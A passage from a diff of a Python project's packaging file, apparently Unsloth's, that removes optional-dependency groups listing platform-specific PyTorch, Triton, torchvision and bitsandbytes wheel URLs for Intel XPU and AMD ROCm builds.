@ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=df4bb3282bac9a3b90231700077110d8680b338416de03c2b7c6133c9b602649 ; 'linux' in sys_platform and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=60da63c99ca827bdcb0df28e0298bf7d066dc607454c6d6176783cb4e79d838b ; 'linux' in sys_platform and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp39-cp39-win_amd64.whl#sha256=64aea8de349f3e2e0ebf4c24b011a8122531fdffda5776edaef45829cc241cf8 ; sys_platform == 'win32' and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp310-cp310-win_amd64.whl#sha256=ae573d255b257fdbed319a3440dc9d0a721e31160ab7f6eba1b2226e6a409a1d ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp311-cp311-win_amd64.whl#sha256=8e0ea4558e5776d8ddab0264310be9b26aee5641bcac0da023537556d4317b86 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp312-cp312-win_amd64.whl#sha256=4090dde07a4fffc34aaf855701a9db28e9fccb57b368ade520f1a0f8e811c878 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.4.0-cp313-cp313-win_amd64.whl#sha256=a33d0888f3c8df028a2d028842715837d0049524d6c06b9bb11869890a13601a ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp39-cp39-linux_x86_64.whl ; 'linux' in sys_platform and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp310-cp310-linux_x86_64.whl ; 'linux' in sys_platform and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp311-cp311-linux_x86_64.whl ; 'linux' in sys_platform and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp312-cp312-linux_x86_64.whl ; 'linux' in sys_platform and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp313-cp313-linux_x86_64.whl ; 'linux' in sys_platform and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp39-cp39-win_amd64.whl#sha256=f2f401276892428e4875cf1d8717c5cbab704b16fc594ccf23795e7b16549a99 ; sys_platform == 'win32' and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp310-cp310-win_amd64.whl#sha256=125c60cd59d51b39581a7e9afcd4679bc3a6b8c1f9440b1bb502a23fdd60571e ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp311-cp311-win_amd64.whl#sha256=47f1a57258cd460e80b38b2ed6744e31587ab77a96b4215bf59546cb4bab5cc0 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp312-cp312-win_amd64.whl#sha256=0937d8943c145a83d9bafc6f80ef28971167817f9eda26066d33f72caf8a6646 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.8.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=e034aab1d71760dc80a731531be43673ffe15e99033b82d24e40d2e6d41bd8bf ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-manylinux_2_24_x86_64.whl ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-win_amd64.whl ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp39-cp39-manylinux_2_28_x86_64.whl#sha256=6e981c192045fc249c008441179ff237bb00174d818b875b0475730b63f0eaca ; 'linux' in sys_platform and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp310-cp310-manylinux_2_28_x86_64.whl#sha256=e5ba4805969277175ebfd59cc717093528cc6e3ada89ac2725fc7a3c1fee6169 ; 'linux' in sys_platform and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp311-cp311-manylinux_2_28_x86_64.whl#sha256=74c39c144104416bc4c5ad8c26ab0c169dc5cc6be58059e01bc3665dd0ef676f ; 'linux' in sys_platform and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp312-cp312-manylinux_2_28_x86_64.whl#sha256=0acec355b80c3899841184084f365df336c508602812e34a44007b8b60d53af4 ; 'linux' in sys_platform and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp313-cp313-manylinux_2_28_x86_64.whl#sha256=e2109ae773dad27b98ca17681044b4f876563c37f2382b75de3a371399edcff8 ; 'linux' in sys_platform and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp39-cp39-win_amd64.whl#sha256=5f7904e7048d414379bc8c1167260f1e84204f105db2d0a2f9c89e87ce1cf205 ; sys_platform == 'win32' and python_version == '3.9' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp310-cp310-win_amd64.whl#sha256=005fca5e658ca8e37adb63c1a021c84f5e56dfa6cf0d601d89cfe40b9473f79f ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp311-cp311-win_amd64.whl#sha256=c6d030f5361461550c0ff1339b5bca8585fc1e84fda2e64b6184e65a581e4f98 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp312-cp312-win_amd64.whl#sha256=91aafd61864cdce27461cbec13ddbf28c1bc6494265a1e4b80131c64a3b7d18f ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.23.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=71dc4a6421742ed1e7f585b04a100ad53615c341fbccfbc255aefb38ea9091da ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", -] -intel-gpu-torch280 = [ - "unsloth[intelgputorch280]" -] -intelgputorch290 = [ - "unsloth_zoo[intelgpu]", - "unsloth[huggingfacenotorch]", - - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=c169a1de14c19673b17c751290d467fa282fc90fa5da4314b2e5cdab1f553146 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=013d9dd5d6479bd22983161f462e61c8dbe1d82e6730624a7a8d5945507eaa61 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=afc8cabfbf7ed51fd278d1e0f88d6afc157b0201bad4b99d681e4d542f9e66d4 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=0d24c1716088f2764d0d24c64227732195b6a42706c3c5fc89eeb4904bfa0818 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp310-cp310-win_amd64.whl#sha256=c83ab007311d9cfb6e809ee5a4587d99a9eef4be720b90da4f1aaa68b45139a0 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp311-cp311-win_amd64.whl#sha256=debf75348da8e8c7166b4d4a9b91d1508bb8d6581e339f79f7604b2e6746bacd ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp312-cp312-win_amd64.whl#sha256=97337a47425f1963a723475bd61037460e84ba01db4f87a1d662c3718ff6c47e ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp313-cp313-win_amd64.whl#sha256=2caf8138695f6abb023ecd02031a2611ba1bf8fff2f19802567cb2fadefe9e87 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "torch @ https://download.pytorch.org/whl/xpu/torch-2.9.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=5afbe860ce991825a36b75706a523601087e414b77598ef0d9d3d565741c277d ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.9.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=607fe419c32d6e8e0556f745742e7cff1d0babce51f54be890e0c1422359c442 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.9.0%2Bxpu-cp312-cp312-linux_x86_64.whl#sha256=376bae584d89980b8e59934d248c38d5fa3b7d4687a4df1a19f4bc1d23dcc8c1 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.9.0%2Bxpu-cp313-cp313-linux_x86_64.whl#sha256=98d6a06dd7fb185874367b18bd609f05f16fdce4142a5980ca94461949965cd2 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.9.0%2Bxpu-cp310-cp310-win_amd64.whl#sha256=47cc68f631f65bd9c84924d052cd04dec7531023caa85e80345e9c94611c887d ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.9.0%2Bxpu-cp311-cp311-win_amd64.whl#sha256=d56c44ab4818aba57e5c7b628f422d014e0d507427170a771c5be85e308b0bc6 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.9.0%2Bxpu-cp312-cp312-win_amd64.whl#sha256=18cad93aaff76a01ce73aef6935ece7cfc03344b905592ec731446c44d44592b ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.9.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=579929cdc10a76800ead41289cac191ea36d1b16f5f501d3fc25607d4375cd83 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-manylinux_2_24_x86_64.whl ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-win_amd64.whl ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.24.0%2Bxpu-cp310-cp310-manylinux_2_28_x86_64.whl#sha256=cbfae2b79b7549fd368c2462fc8e94f8f26cc450782ee72138e908077c09a519 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.24.0%2Bxpu-cp311-cp311-manylinux_2_28_x86_64.whl#sha256=044fa36ef4b6b43edcd490b75c853fa4b3eb033c2bded29f8fbcf27734713c67 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.24.0%2Bxpu-cp312-cp312-manylinux_2_28_x86_64.whl#sha256=4b91e4bec1d740a6211f02578a79888550b73f3a4e1383035f8f6d72f587212c ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.24.0%2Bxpu-cp313-cp313-manylinux_2_28_x86_64.whl#sha256=88239e73ca37254bec84f29cd5887e10ff712de7edbbda3fbb3609cd6190d99e ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.24.0%2Bxpu-cp310-cp310-win_amd64.whl#sha256=19c7da8ca767d593e13a88a12bb08d06e34a673f6f26c2f9c191d60e81c02953 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.24.0%2Bxpu-cp311-cp311-win_amd64.whl#sha256=9bb0d1421c544ac8e2eca5b47daacaf54706dc9139c003aa5e77ee5f355c5931 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.24.0%2Bxpu-cp312-cp312-win_amd64.whl#sha256=6a5194bc736089606342d48a3f6822829b167617e9495d91d753dd1bd46fda18 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.24.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=da47a3ce2bb7f0301a31124668b5908f9b9e92d6241443de15a310ef9632fd83 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", -] -intel-gpu-torch290 = [ - "unsloth[intelgputorch290]" -] -intelgputorch210 = [ - "unsloth_zoo[intelgpu]", - "unsloth[huggingfacenotorch]", - - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=c169a1de14c19673b17c751290d467fa282fc90fa5da4314b2e5cdab1f553146 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=013d9dd5d6479bd22983161f462e61c8dbe1d82e6730624a7a8d5945507eaa61 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=afc8cabfbf7ed51fd278d1e0f88d6afc157b0201bad4b99d681e4d542f9e66d4 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=0d24c1716088f2764d0d24c64227732195b6a42706c3c5fc89eeb4904bfa0818 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp310-cp310-win_amd64.whl#sha256=c83ab007311d9cfb6e809ee5a4587d99a9eef4be720b90da4f1aaa68b45139a0 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp311-cp311-win_amd64.whl#sha256=debf75348da8e8c7166b4d4a9b91d1508bb8d6581e339f79f7604b2e6746bacd ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp312-cp312-win_amd64.whl#sha256=97337a47425f1963a723475bd61037460e84ba01db4f87a1d662c3718ff6c47e ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "pytorch_triton_xpu @ https://download.pytorch.org/whl/pytorch_triton_xpu-3.5.0-cp313-cp313-win_amd64.whl#sha256=2caf8138695f6abb023ecd02031a2611ba1bf8fff2f19802567cb2fadefe9e87 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "torch @ https://download.pytorch.org/whl/xpu/torch-2.10.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=abb1d1ec1ac672bac0ff35420c965f2df0c636ef9d94e2a830e34578489d0a57 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.10.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=71ad2f82da0f41eaec159f39fc85854e27c2391efa91b373e550648a6f4aaad3 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.10.0%2Bxpu-cp312-cp312-linux_x86_64.whl#sha256=b473571d478912f92881cc13f15fa18f8463fb0fb8a068c96ed47a7d45a4da0a ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.10.0%2Bxpu-cp313-cp313-linux_x86_64.whl#sha256=3bc64a746ff25a93de140902c60c9e819d7413f5cea1e88d80999c27a5901e9c ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.10.0%2Bxpu-cp310-cp310-win_amd64.whl#sha256=ce50691ab3fb6301d9b7bb8b3834cf5fa7152a2b5f91fd24c5efdc601a25b780 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.10.0%2Bxpu-cp311-cp311-win_amd64.whl#sha256=cb9d37f21cb9fb7df67d62863f021c3144e8d8832b9ea8e8523ac308bc620ea1 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.10.0%2Bxpu-cp312-cp312-win_amd64.whl#sha256=3ad605be4728b6d3a28a44d07dd794b1a9e45551b0057815bf25eb2a6d6a56a7 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torch @ https://download.pytorch.org/whl/xpu/torch-2.10.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=2b4b56dd6c792aef82006904fa888692e3782e4ae5da27526801bad4898f05a5 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-manylinux_2_24_x86_64.whl ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "bitsandbytes @ https://github.com/bitsandbytes-foundation/bitsandbytes/releases/download/continuous-release_main/bitsandbytes-1.33.7.preview-py3-none-win_amd64.whl ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp310-cp310-manylinux_2_28_x86_64.whl#sha256=7e1e7b170fcf7161c8499b67156c5a05462243626dc0974010791a0bab4378d3 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp311-cp311-manylinux_2_28_x86_64.whl#sha256=bd6add201bd7628af70437292e1447abb368e0b5f4ff9abd334ae435efd44792 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp312-cp312-manylinux_2_28_x86_64.whl#sha256=6ad2543496bc29e59d3dd614a94d09aa9870318aedb66045344fffddfedd2cf8 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp313-cp313-manylinux_2_28_x86_64.whl#sha256=80269f37865fcd8b57f20e4786efae2200bfa2b2727926c3c7acc82f0e7d3548 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp310-cp310-win_amd64.whl#sha256=6b9485ba85dcba4d196d6134d9c3332fb228fb2556416bf0450a64e8a472fcba ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp311-cp311-win_amd64.whl#sha256=36cbaedf10f6412af5c89afd9aeea474e6a56a0050348ada8fabe1ecaf6b879e ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp312-cp312-win_amd64.whl#sha256=738357d97468d75fe3d510ac37e65130f2787f81d9bbc1518898f7396dc3403f ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=1c4b44b36a557f7381e3076fb8843366742238648441d607c8d049c6da0f8886 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", -] -intel-gpu-torch210 = [ - "unsloth[intelgputorch210]" -] -intel = [ - "unsloth[intelgputorch280]", -] -amd = [ - "unsloth[huggingfacenotorch]", - "bitsandbytes>=0.49.1 ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64' or platform_machine == 'aarch64')", - "bitsandbytes>=0.49.1 ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", -] -rocm702-torch280 = [ - "unsloth[amd]", - - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.0.2/triton-3.4.0%2Brocm7.0.2.gitf9e5bf54-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.0.2/triton-3.4.0%2Brocm7.0.2.gitf9e5bf54-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.0.2/triton-3.4.0%2Brocm7.0.2.gitf9e5bf54-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.0.2/torch-2.8.0%2Brocm7.0.2.lw.git245bf6ed-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.0.2/torch-2.8.0%2Brocm7.0.2.lw.git245bf6ed-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.0.2/torch-2.8.0%2Brocm7.0.2.lw.git245bf6ed-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.0.2/torchvision-0.23.0%2Brocm7.0.2.git824e8c87-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.0.2/torchvision-0.23.0%2Brocm7.0.2.git824e8c87-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.0.2/torchvision-0.23.0%2Brocm7.0.2.git824e8c87-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", -] -rocm72-torch291 = [ - "unsloth[amd]", - - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/triton-3.5.1%2Brocm7.2.0.gita272dfa8-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/triton-3.5.1%2Brocm7.2.0.gita272dfa8-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/triton-3.5.1%2Brocm7.2.0.gita272dfa8-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/triton-3.5.1%2Brocm7.2.0.gita272dfa8-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torch-2.9.1%2Brocm7.2.0.lw.git7e1940d4-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torch-2.9.1%2Brocm7.2.0.lw.git7e1940d4-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torch-2.9.1%2Brocm7.2.0.lw.git7e1940d4-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torch-2.9.1%2Brocm7.2.0.lw.git7e1940d4-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and 